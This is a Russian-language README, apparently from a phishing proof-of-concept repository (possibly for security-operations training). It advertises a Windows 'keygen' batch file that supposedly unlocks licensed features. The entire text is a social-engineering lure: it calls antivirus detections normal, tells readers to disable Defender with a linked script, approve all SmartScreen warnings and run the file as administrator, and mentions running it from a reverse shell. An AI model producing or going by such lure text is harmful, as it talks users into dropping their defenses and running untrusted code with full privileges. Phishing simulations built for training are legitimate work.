Files
PoC-Fishing001/README.SOC.md
T
2026-07-07 11:51:24 +04:00

5.1 KiB

keygen-PoC.bat

Программа предназначена для разблокировки некоторых полезных функций Microsoft Windows, которые обычно недоступны из-за лицензионных ограничений. Программа только загружает необходимые файлы, предлагая пользователю самостоятельно активировать полезные настройки.

Внимание!!! В следствие вышеперечисленных особенностей данная программа рассматривается антивирусными программами как содержащее malware. Это обычное поведение такого рода программ. Поэтому программу следует загружать и запускать при отключённой активной антивирусной защите. Скрипт для отключения защиты вы можете загрузить по этой ссылке: Start Defender Settings

Требования к системе

для запуска программы.

  • Операционная система — Microsoft Windows 7, 8.1, 10, 11 или Microsoft Windows Server 2012R2, 2016-2025. Редакции Windows Server Core программа не поддерживает или поддерживает ограниченно.
  • Архитектура операционной системы — amd64.
  • Язык установки операционной ситемы — русский/английский.
  • Учётная запись пользователя, из-под которой осуществляется запуск программы, должна иметь возможность повышения привилегий до уровня администратора системы.
  • Для инициализации переменных окружения в эту учётную запись пользователь должен войти хотя бы раз в графическом интерфейсе (на физическком локальном компьютере или с помощью RDP). Загрузка и выполнение программы может осуществляться также в командной строке и Reverse Shell при выполнении этих условий.
  • Не рекомендуется запускать данную программу от имени встроенной учётной записи локального администратора или администратора домена.

Ссылка на загрузку предварительноной версии программы (PoC):

Установка

  • Загрузите программу отключения активной антивирусной защиты Microsoft Windows defender, как указано здесь.
  • После отключения активной антивирусной защиты загрузите файл по ссылке в папку «Загрузки» текущего пользователя, и разблокируйте его.
  • Примечание. Не смотря на отключёный антивирус, фильтр SmartScreen Windows Defender будет все равно выдавать предупреждения и мешать загрузке файла. Отвечайте на все запросы о загрузке и сохранении файла утвердительно.
  • Откройте папку с загруженым файлом.
  • Щёлкните на файле правой клавишей мыши, и выберите пункт: «Запуск от имени администратора». Подтвердите запуск в окне UAC.
  • Через некоторое время на компьютере покажутся диалоговоые окна с сообщениями. Это нормальное поведение PoC alpha версии.
  • После закрытия окна в папке «Загрзки» текущего пользователя появятся файлы. Что с ними делать — смотри дополнительные инструкции.
  • Примечание. Данная программа только загружает, но не исполняет и не выдаёт паролей на запуск файлов в Microsoft Windows. Её «вредоносная активность» объясняется использованием компилятора BAT2EXE для создания файлов.